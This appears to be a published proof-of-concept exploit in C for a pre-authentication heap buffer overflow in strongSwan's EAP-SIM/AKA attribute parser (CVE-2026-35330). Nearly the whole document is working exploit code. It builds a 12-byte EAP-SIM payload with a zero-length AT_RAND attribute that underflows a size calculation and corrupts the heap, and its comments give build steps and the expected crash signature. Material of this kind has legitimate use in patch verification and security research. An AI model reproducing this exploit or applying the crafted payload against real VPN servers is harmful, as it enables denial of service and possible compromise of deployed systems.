strongSwan EAP-SIM/EAP-AKA Pre-Auth Heap Buffer Overflow via Integer Underflow (CVE-2026-35330)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138

/*
 * CVE-2026-35330 -- strongSwan EAP-SIM/AKA parse_attributes() heap
 * buffer overflow.  Live library exploit.
 *
 * This program links against the *installed* strongSwan libraries
 * (libsimaka.so + libstrongswan.so) and calls the public API:
 *
 *     simaka_message_create_from_payload(data, NULL);
 *     msg->parse(msg);
 *
 * with a crafted EAP-SIM payload whose AT_RAND attribute has
 * `length == 0`.  Execution reaches production code in:
 *
 *     src/libsimaka/simaka_message.c :: parse_attributes()  line 419
 *     src/libsimaka/simaka_message.c :: add_attribute()
 *
 * where `hdr->length * 4 - 4` underflows to (size_t)0xFFFFFFFFFFFFFFFC
 * and the subsequent `malloc(sizeof(attr_t) + 0xFFFFFFFFFFFFFFFC)`
 * yields a 12-byte allocation followed by an oversized memcpy ->
 * SIGSEGV (under ASan: heap-buffer-overflow WRITE).
 *
 * Build (against installed strongswan, headers in /usr/include):
 *     gcc -fsanitize=address -g -O0 -I/usr/include  poc.c \
 *         -lsimaka -lstrongswan -o poc
 *
 * Run:
 *     ./poc
 *
 * Expected ASan signature on a vulnerable strongSwan (<= 5.9.13):
 *     ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
 *     WRITE of size 8 at ... thread T0
 *         #0 ... in __asan_memcpy
 *         #1 ... in parse_attributes simaka_message.c
 *         #2 ... in parse simaka_message.c
 *         #3 ... in main poc.c
 *
 * On a patched strongSwan (master >= aa5aaebc33) the parse() returns
 * FALSE silently and the program prints "parse() returned FALSE
 * (patched) -- attribute rejected".
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <arpa/inet.h>

#include <library.h>
#include <utils/chunk.h>
#include <simaka_message.h>

/* EAP codes (RFC 3748) */
#define EAP_REQUEST  1
#define EAP_RESPONSE 2

/* EAP types */
#define EAP_TYPE_SIM 18

/* EAP-SIM subtypes (RFC 4186) */
#define SIM_START      10
#define SIM_CHALLENGE  11

/* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */
#define AT_RAND        1


int main(void)
{
    chunk_t data;
    simaka_message_t *msg;
    uint8_t payload[12];

    /* Init strongSwan library so libsimaka's globals are usable. */
    if (!library_init(NULL, "exploit-35330")) {
        fprintf(stderr, "[!] library_init() failed\n");
        library_deinit();
        return 1;
    }

    /*
     * EAP-SIM header (8 bytes):
     *   byte 0: code      = 2  (EAP_RESPONSE)
     *   byte 1: id        = 0x42
     *   bytes 2-3: length = htons(12)
     *   byte 4: type      = 18 (EAP-SIM)
     *   byte 5: subtype   = 11 (SIM_CHALLENGE)
     *   bytes 6-7: reserved = 0
     */
    payload[0] = EAP_RESPONSE;
    payload[1] = 0x42;
    payload[2] = 0x00;
    payload[3] = 12;
    payload[4] = EAP_TYPE_SIM;
    payload[5] = SIM_CHALLENGE;
    payload[6] = 0x00;
    payload[7] = 0x00;

    /*
     * AT_RAND attribute (4 bytes):
     *   byte 8:  type    = 1 (AT_RAND)
     *   byte 9:  length  = 0   <-- triggers underflow:
     *                             hdr->length * 4 - 4 = -4 -> SIZE_MAX-3
     *   bytes 10-11: reserved (any value)
     */
    payload[8]  = AT_RAND;
    payload[9]  = 0;          /* <-- the bug */
    payload[10] = 0x00;
    payload[11] = 0x00;

    data = chunk_create(payload, sizeof(payload));

    printf("[*] payload (%zu bytes): ", data.len);
    for (size_t i = 0; i < data.len; i++) printf("%02x ", payload[i]);
    printf("\n[*] EAP-SIM header:  code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n");
    printf("[*] AT_RAND header:  type=1 length=0  <-- triggers underflow\n\n");

    msg = simaka_message_create_from_payload(data, NULL);
    if (!msg) {
        fprintf(stderr, "[!] simaka_message_create_from_payload() returned NULL "
                        "-- header rejected\n");
        library_deinit();
        return 2;
    }
    printf("[*] simaka_message_create_from_payload() -> %p\n", (void*)msg);
    printf("[*] calling msg->parse(msg) -- "
           "expecting heap-buffer-overflow inside parse_attributes()...\n");
    fflush(stdout);

    if (msg->parse(msg)) {
        printf("[?] parse() returned TRUE -- unexpected\n");
    } else {
        printf("[+] parse() returned FALSE (patched) -- attribute rejected\n");
    }

    msg->destroy(msg);
    library_deinit();
    return 0;
}